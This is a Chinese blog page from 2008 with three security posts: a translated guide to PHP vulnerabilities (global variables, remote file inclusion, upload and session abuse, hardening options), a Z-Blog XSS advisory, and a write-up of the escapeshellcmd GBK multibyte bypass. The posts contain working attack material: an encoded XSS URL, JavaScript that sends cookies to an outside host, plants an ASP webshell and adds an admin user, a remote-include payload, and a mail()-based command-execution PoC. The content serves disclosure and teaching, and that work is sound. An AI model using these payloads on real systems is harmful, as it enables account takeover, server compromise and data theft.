好了,废话少说,我们言归正传!

[全局变量]

PHP 中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型也不需要指定,它们会根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其 方便的处理方法。很显然,这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很 少初始化变量,毕竟,当它们第一次创建时,他们是空的。
很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。
例如:
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
很 显然,这会显示一个文本框和提交按钮。当用户点击提交按钮时,“test.php”会处理用户的输入,当“test.php”运行时,“$hello” 会 包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用 “test.php”,而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no,那么, 不止是“$hello”被创建,“$setup”也被创建了。
译者注:这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
上面的代码首先检查用户的密码是否为“hello”,如果匹配的话,设置“$auth”为“1”,即通过认证。之后如果“$suth”为“1”的话,就会显示一些重要信息。
表 面看起来是正确的,而且我们中有相当一部分人是这样做的,但是这段代码犯了想当然的错误,它假定“$auth”在没有设置值的时候是空的,却没有想到攻击 者可以创建任何全局变量并赋值,通过类似“http://server/test.php?auth=1”的方法,我们完全可以欺骗这段代码,使它相信我 们是已经认证过的。
因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。
一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开“track_vars”选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。
但 是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量, HTTP_POST_VARS数组用于处理POST方式提交的变量,HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于 HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数 组中,因此一个安全的PHP程序应该检查这四个数组。

[远程文件]

PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者实现某个功能很容易。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就是说明这个问题的一个很好的例子:
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR> ");
?>
上 面的脚本试图打开文件“$filename”,如果失败就显示错误信息。很明显,如果我们能够指定“$filename”的话,就能利用这个脚本浏览系统 中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程 文件的处理是透明的。
例如:
如果指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。
这使得支持远程文件的include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。
例如:
<?php
include($libdir . "/languages.php");
?>
上 例中“$libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得“$libdir”没有被设置的话,那么他就可以改变这个路径。但是 攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的“Poison null byte”攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件 languages.php,包含如下内容:
<?php
passthru("/bin/ls /etc");
?>
然后把“$libdir”设置为“http://<evilhost>/”,这样我们就可以在目标主机上执行上面的攻击代码,“/etc”目录的内容作为结果返回到客户的浏览器中。
需要注意的是,攻击服务器(也就是evilhost)应该不能执行PHP代码,否则攻击代码会在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:http://www.securereality.com.au/sradv00006.txt

[文件上载]

PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
上 面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式使这项功能变的不安全。当 PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过 “$MAX_FILE_SIZE variable”定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。
这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。
让 我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机 的,类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP 3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。
但是,我们可以肯定的说,问题还是存在的,大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c: emphello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
然后PHP程序开始处理根据“$hello”指定的文件,问题在于“$hello”不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。这种攻击可以用于暴露任何敏感文件的内容。
我 在前面已经说了,新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某 个文件是不是实际上载的文件。这些函数很好的解决了这个问题,但是实际上肯定有很多PHP程序仍然使用旧的方法,很容易受到这种攻击。
作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:
<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
如 果攻击者可以控制“$theme”的话,很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令, 但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地 机器上创建一个包含PHP代码的文件,然后创建一个包含名为“theme”的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交 给上面的代码,PHP就会把攻击者提交的文件保存起来,并把“$theme”的值设置为攻击者提交的文件,这样file_exists()函数会检查通 过,攻击者的代码也将执行。
获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具 集,而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文 件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。

[库文件]

正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。
最 初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个“.inc”的扩展名,但是他们很快发现这是一个错误,因 为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为 Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是 “.php”, “.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。
最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。
下面是一个很明显的例子:
In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
include("$langDir/$userLang");
?>
当 “libdir/loadlanguage.php” 被“main.php”调用时是相当安全的,但是因为“libdir/loadlanguage” 具有“.php”的扩展名,因此远程攻击者可以直接请求 这个文件,并且可以任意指定“$langDir”和“$userLang”的值。

[Session文件]

PHP 4 或更新的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了这个事 实以及谁登陆进入这个网站都被保存在session中,当他在网站中到处浏览时,所有的PHP代码都可以获得这些状态信息。
事实上, 当一个session启动时(实际上是在配置文件中设置为在第一次请求时自动启动),就会生成一个随机的“session id”,如果远程浏览器总是在发送请求时提交这个“session id”的话,session就会一直保持。这通过Cookie很容易实现,也可以通过在每页提交一个表单变量(包含“session id”)来实现。PHP程序可以用session注册一个特殊的变量,它的值会在每个PHP脚本结束后存在session文件中,也会在每个PHP脚本开 始前加载到变量中。下面是一个简单的例子:
<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?>
新版本的PHP都会自动把“$session_auth”的值设置为“shaun”,如果它们被修改的话,以后的脚本都会自动接受修改后的值,这对无状态的Web来说的确是种很不错的工具,但是我们也应该小心。
一个很明显的问题就是确保变量的确来自session,例如,给定上面的代码,如果后续的脚本是下面这样的话:
<?php
if (!empty($session_auth))
// Grant access to site here
?>
上 面的代码假定如果“$session_auth”被置位的话,就是从session,而不是从用户输入来置位的,如果攻击者通过表单输入来置位的话,他就 可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法,一旦变量被放进了session,就会覆盖任何表单输入。
Session 数据一般是保存在文件中(位置是可配置的,一般是“/tmp”),文件名一般是类似 “sess_<session id>”的形式,这个文件包含变量名称,变量类型,变量值和一些其它的数据。在多主机系统中,因为文件是以运行Web服务器的用户身份(一般是 nobody)保存的,因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问,甚至可以检查session文件中的敏感信 息。
Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方,对于上面的例子来说,攻击者需要在远 程系统放置一个包含PHP代码的文件,如果不能利用文件上载做到的话,他通常会利用session为一个变量按照自己的意愿赋一个值,然后猜测 session文件的位置,而他知道文件名是“php<session id>”,所以只需猜测目录,而目录一般就是 “/tmp”。
另外,攻击者可以任意指定“session id”(例如“hello”),然后用这个“session id”创建一个session文件(例如“/tmp/sess_hello”),但是“session id”只能是字母和数字组合。

[数据类型]

PHP 具有比较松散的数据类型,变量的类型依赖于它们所处的上下文环境。例如:“$hello”开始是字符串变量,值为“”,但是在求值时,就变成了整形变量 “0”,这有时可能会导致一些意想不到的结果。如果“$hello”的值为“000”还是为“0”是不同的,empty()返回的结果也不会为真。
PHP中的数组是关联数组,也就是说,数组的索引是字符串型的。这意味着“$hello["000"]”和“$hello[0]”也是不同的。
开发程序的时候应该仔细地考虑上面的问题,例如,我们不应该在一个地方测试某个变量是否为“0”,而在另外的地方使用empty()来验证。

[容易出错的函数]

我们在分析PHP程序中的漏洞时,如果能够拿到源代码的话,那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话,那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表:

<PHP代码执行>

require():读取指定文件的内容并且作为PHP代码解释
include():同上
eval():把给定的字符串作为PHP代码执行
preg_replace():当与“/e”开关一起使用时,替换字符串将被解释为PHP代码

<命令执行>

exec():执行指定的命令,返回执行结果的最后一行
passthru():执行指定命令,返回所有结果到客户浏览器
``:执行指定命令,返回所有结果到一个数组
system():同passthru(),但是不处理二进制数据
popen():执行指定的命令,把输入或输出连接到PHP文件描述符

<文件泄露>

fopen():打开文件,并对应一个PHP文件描述符
readfile():读取文件的内容,然后输出到客户浏览器
file():把整个文件内容读到一个数组中
译者注:其实这份列表还不是很全,比如“mail()”等命令也可能执行命令,所以需要自己补充一下。

[如何增强PHP的安全性]

我在上面介绍的所有攻击对于缺省安装的PHP 4都可以很好的实现,但是我已经重复了很多次,PHP的配置非常灵活,通过配置一些PHP选项,我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类:
*低难度
**中低难度
***中高难度
****高难度
上面的分类只是个人的看法,但是我可以保证,如果你使用了PHP提供的所有选项的话,那么你的PHP将是很安全的,即使是第三方的代码也是如此,因为其中很多功能已经不能使用。
**** 设置“register_globals”为“off”
这 个选项会禁止PHP为用户输入创建全局变量,也就是说,如果用户提交表单变量“hello”,PHP不会创建“$ hello”,而只会创建 “HTTP_GET/POST_VARS['hello']”。这是PHP中一个极其重要的选项,关闭这个选项,会给编程带来很 大的不便。
*** 设置“safe_mode”为“on”
打开这个选项,会增加如下限制:
1. 限制哪个命令可以被执行
2. 限制哪个函数可以被使用
3. 基于脚本所有权和目标文件所有权的文件访问限制
4. 禁止文件上载功能
这对于ISP来说是一个伟大的选项,同时它也能极大地改进PHP的安全性。
** 设置“open_basedir”
这个选项可以禁止指定目录之外的文件操作,有效地消除了本地文件或者是远程文件被include()的攻击,但是仍需要注意文件上载和session文件的攻击。
** 设置“display_errors”为“off”,设置“log_errors”为“on”
这个选项禁止把错误信息显示在网页中,而是记录到日志文件中,这可以有效的抵制攻击者对目标脚本中函数的探测。
* 设置“allow_url_fopen”为“off”
这个选项可以禁止远程文件功能,极力推荐!

posted @ 2008-07-31 15:24 jannock 阅读(289) | 评论 (0)编辑 收藏

2008年7月11日

漏洞说明:Z-Blog是一款基于Asp平台的Blog博客(网志)程序,支持Wap,支持Firefox,Oprea等浏览器,在国内使用非常广泛,官方主页在http://www.rainbowsoft.org/。Z-blog代码严谨,前台功能简洁,后台功能强大,这为它的产品安全带来很大的优势,但是80sec在产品中发现一个严重的跨站脚本攻击漏洞,加上产品设计上的一些问题可能带来严重的后果。

漏洞厂商:http://www.rainbowsoft.org/

漏洞解析:在FUNCTION/c_urlredirect.asp中,程序对提交的url参数做如下处理


strUrl=URLDecodeForAntiSpam(Request.QueryString("url"))

其中URLDecodeForAntiSpam是防止垃圾连接的解码函数,其函数处理如下


Function URLDecodeForAntiSpam(strUrl)

Dim i,s
For i =1 To Len(strUrl) Step 2
s=s & Mid(strUrl,i,1)
Next
URLDecodeForAntiSpam=s

End Function

在做如上处理之后程序将在c_urlredirect.asp输出url参数


...
<meta http-equiv="refresh" content="0;URL=“/>


精心构造url参数将能构造一个url类型的非持久xss如下:

http://127.0.0.1/Z-Blog18/FUNCTION/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx%3Ax%22x%3Ex%3Cxsxcxrxixpxtx+xsxrxcx%3Dxhxtxtxpx%3Ax%2Fx%2Fx1×2x7x%2Ex0x%2Ex0x%2Ex1x%2Fx1x%2Exjxsx%3Ex%3Cx%2Fxsxcxrxixpxtx%3Ex

上述url访问之后将引入127.0.0.1/1.js执行,其中可以写任意js代码。

而z-blog的所有安全设计全部用来抵御前台的攻击,对于后台基本没有任何限制,加上antispam功能对用户提交的url连接类似于加密处理,所以很容易就可以诱惑别人访问上述的xss攻击url,可以发表评论如下:

看这个站,有新东西?
http://www.80sec.com

用户看到的是http://www.80sec.com这个信任的站点,而一旦点击将在www.foo.com域执行恶意用户指定的js,在该js里可以写shell,添加用户,偷取COOKIE然后模拟出真正的转向,整个过程很难发现攻击的意图,80sec提供js如下:


xmlhttp=poster();
cookie=document.cookie;
login=cookie.indexOf('password')==-1?0:1;
tolocation='http://www.80sec.com/';

//get cookie
x=new Image();
x.src="http://www.80sec.com/c.php?c="+escape(document.cookie);

//get a shell
data="txaContent=<%25execute(request(%22a%22))%25>“;
postmydata(”http://www.0×37.com/cmd.asp?act=SiteFilePst&path=%2E%2FUPLOAD%2Findex%2Easp&opath=”,data);

//add a user data=”edtID=0&edtLevel=2&edtName=xss2root&edtPassWord=d073d5454ffe92bdcd3cbcb77d149df5&edtPassWordRe=xss2root&edtEmail=null@null.com&edtHomePage=&edtAlias=”;
postmydata(”http://www.0×37.com/cmd.asp?act=UserCrt”,data);

//fool the user
window.location=tolocation;

function poster(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType(’text/xml’);
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}

function postmydata(action,data){
xmlhttp.open("POST", action, false);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.send(data);
return xmlhttp.responseText;
}

posted @ 2008-07-11 08:32 jannock 阅读(228) | 评论 (1)编辑 收藏

漏洞公告在http://www.sektioneins.de/advisories/SE-2008-03.txt

PHP 5 <= 5.2.5
PHP 4 <= 4.4.8

一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受此影响,影响还是非常大的,国内的虚拟主机应该是通杀的,在测试完这个漏洞之后,发现还是十分有意思的,以前也有过 对这种类型安全漏洞的研究,于是就把相关的漏洞解释和一些自己的想法都写出来,也希望国内的一些有漏洞的平台能迅速做出响应,修补漏洞。
这个漏洞出在php的用来转义命令行字符串的函数上,这些函数底层是用的php_escape_shell_cmd这个函数的,我们先来看看他的处理过程:
/* {{{ php_escape_shell_cmd
Escape all chars that could possibly be used to
break out of a shell command

This function emalloc’s a string and returns the pointer.
Remember to efree it when done with it.

*NOT* safe for binary strings
*/
char *php_escape_shell_cmd(char *str) {
register int x, y, l;
char *cmd;
char *p = NULL;

l = strlen(str);
cmd = safe_emalloc(2, l, 1);

for (x = 0, y = 0; x < l; x++) {
switch (str[x]) {
case ‘”‘:
case ‘\”:
#ifndef PHP_WIN32
if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {
/* noop */
} else if (p && *p == str[x]) {
p = NULL;
} else {
cmd[y++] = ‘\\’;
}
cmd[y++] = str[x];
break;
#endif
case ‘#’: /* This is character-set independent */
case ‘&’:
case ‘;’:
case ‘`’:
case ‘|’:
case ‘*’:
case ‘?’:
case ‘~’:
case ‘<’:
case ‘>’:
case ‘^’:
case ‘(’:
case ‘)’:
case ‘[':
case ']‘:
case ‘{’:
case ‘}’:
case ‘$’:
case ‘\\’:
case ‘\x0A’: /* excluding these two */
case ‘\xFF’:
#ifdef PHP_WIN32
/* since Windows does not allow us to escape these chars, just remove them */
case ‘%’:
cmd[y++] = ‘ ‘;
break;
#endif
cmd[y++] = ‘\\’;
/* fall-through */
default:
cmd[y++] = str[x];

}
}
cmd[y] = ‘\0′;
return cmd;
}
/* }}} */

可以看到,php通过将”,’,#,&,;…..等等在shell命令行里有特殊意义的字符都通过在前面加上\变成\”.\’, \#,\&,\;……来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的,php手册中给出的利用例子如下:

<?php
$e = escapeshellcmd($userinput);

// here we don’t care if $e has spaces
system(”echo $e”);
$f = escapeshellcmd($filename);

// and here we do, so we use quotes
system(”touch \”/tmp/$f\”; ls -l \”/tmp/$f”");
?>

很明显,如果没有经过escapeshellcmd的处理,用户输入hello;id的话,最后system执行的会是:

echo hello;id

;在shell里是分割命令的作用,这样不仅仅会echo hello,还会执行id这个命令,导致命令注入漏洞。用escapeshellcmd处理之后命令变成:

echo hello\;id

这样执行的命令就只会是echo,其他的都变成echo的参数,很安全。

事实上是这样么?php在处理完参数送入system之后它就什么都不管了,后面的工作实际上都是由linux来完成的,那么linux在处理这 些参数的时候是怎么样的呢?linux在执行命令的时候会有一些的表示工作环境的环境变量,譬如PWD代表当前的工作环境,UID代表了你的身 份,BASH代表命令解释器等等……而在linux系统执行命令的时候,还有一个非常重要的参数,LANG,这个参数决定了linux shell如何处理你的输入,这样就可以当你输入一些中文字符的时候,linux能认识他,不至于出现人与系统之间出现理解上的错误。默认情况 下,linux的LANG是en_US.UTF-8,UTF-8是一个很安全的字符集,其系列中包含有对自身的校验,所以不会出现错误,会工作良好。一些 系统支持多字节字符集如GBK的时候,这也正是国内的多数情况,你可以设置LANG=zh_CN.GBK,这样你的输入都会被当作GBK编码处理,而 GBK是双字节的,合法的GBK编码会被认为是一个字符。
大家可以看到,在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节 的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\的编码为5c,在GBK的尾字节范围之内,这样我们考虑一个特殊的输入:

0xbf;id
或    0xbf’id

经过php的escapeshellcmd单字节转码之后将会是

0xbf5c;id
0xbf5c’id

注意0xbf5c是一个合法的GBK编码,那么在linux执行的时候,会认为输入是

[0xbfbc];id

很好,后面的id将会被执行。可以做个简单的实验,如下:

[loveshell@Loveshell tmp]$ echo 縗
>
?
[loveshell@Loveshell tmp]$ set|grep -i lang
LANG=zh_CN.GB2312
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK
[loveshell@Loveshell tmp]$ echo 縗

[loveshell@Loveshell tmp]$ set|grep -i lang
LANG=zh_CN.GBK
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$

其中縗的编码为0xbf5c,可以看到在不设置LANG为GBK的时候縗是一个非法的gb2312编码,所以会被认为是两个字符,所以其中含有的0×5c起作用,被认为命令没结束。然后我们设置编码为GBK,縗就会被认为是一个字符来echo了。
那我们如何来证明php的漏洞呢,拿

<?php
$e = escapeshellcmd($_GET[c]);
// here we don’t care if $e has spaces
system(”echo $e”);
?>

作为例子,正常情况下上面的代码工作很好,我们提交

exp.php?c=loveshell%bf;id

结果返回

loveshell?id

我们再来稍微改下上面的代码

<?php
putenv(”LANG=zh_CN.GBK”);
$e = escapeshellcmd($_GET[c]);
// here we don’t care if $e has spaces
system(”echo $e”);
?>

php的putenv函数用于修改php的运行时的环境变量,上面修改完LANG之后,再提交上面的参数就可以看到:

loveshell縗 uid=99(nobody) gid=4294967295 groups=4294967295

命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了LANG为GBK,于是一些采用escapeshellcmd过滤输入的就会 出问题了。这里本质是linux和php对参数的理解不一致,而php的mail函数在底层还是依靠系统来执行sendmail命令的,并且支持对 sendmail命令加参数,不过参数被过滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上bypass过滤。
mail函数一些代码片段如下:

……
if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, “SAFE MODE Restriction in effect.  The fifth parameter is disabled in SAFE MODE.”);
RETURN_FALSE;
}

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, “sss|ss”,
&to, &to_len,
&subject, &subject_len,
&message, &message_len,
&headers, &headers_len,
&extra_cmd, &extra_cmd_len
) == FAILURE) {
return;
}
……

if (force_extra_parameters) {
extra_cmd = estrdup(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}

if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}
…..

这里如果不是安全模式就会允许第五个参数,第五个参数作为extra_cmd经过php_escape_shell_cmd过滤后作为第五个参数送入php_mail函数,在php_mail中片段如下:

……
if (extra_cmd != NULL) {
sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, ” “);
strcat (sendmail_cmd, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}

#ifdef PHP_WIN32
sendmail = popen(sendmail_cmd, “wb”);
#else
/* Since popen() doesn’t indicate if the internal fork() doesn’t work
* (e.g. the shell can’t be executed) we explicitely set it to 0 to be
* sure we don’t catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, “w”);
……

extra_cmd被附着在sendmail路径后面作为参数了,这里我们就可以利用这个漏洞来在一些禁止掉system等危险函数的环境下执行命令了,我写的poc如下:

<?php
//php disable function bypass vul
//by Stefan Esser
//poc by Loveshell

putenv(”LANG=zh_CN.GBK”);
mail(”loveshell@loveshell.net”,”",”",”",”xxxx”.chr(0xbf).”;”.$_GET[c]);
?>

可以在支持GBK的机器上运行,其他字符集应该也一样,稍微修改下也就可以用。至于修补,我想还是尽快升级到新版,或者将mail函数拉入你的黑名单之列。
这个漏洞的本质是在于处理数据的时候理解不一致造成的,稍微把以前的一些问题结合起来很容易发现这方面的影子。php与Mysql处理不一致导致 注射,程序处理和浏览器处理html不一致导致xss,处理xml不一致导致xml注射….这里又看到在linux shell处理上还有不一致的时候导致命令注射。可以预料,在perl等其他脚本语言里,涉及字符集处理的地方一样会产生这样的问题。字符集代表了系统是 如何对待输入的数据,字符集不一样,系统得到的信息就不一样,在一些字符集中,只要\,’,|这些特殊字符落在宽字节第二个字节范围之中的时候就会导致问 题,譬如

SJIS
[\x20-\x7e]|[\xa1-\xdf]|([\x81-\x9f]|[\xe0-\xef])([\x40-\x7e]|[\x80-\xfc])

\x40-\x7e就包括了\x5c,导致问题出现。我们在设计程序在处理与其他层面的程序或者协议打交道的时候就要考虑好这个因素,做好处理的一致,避免出现问题。再次向Stefan Esser致,Stefan Esser is my hero! :)

posted @ 2008-07-11 08:31 jannock 阅读(96) | 评论 (0)编辑 收藏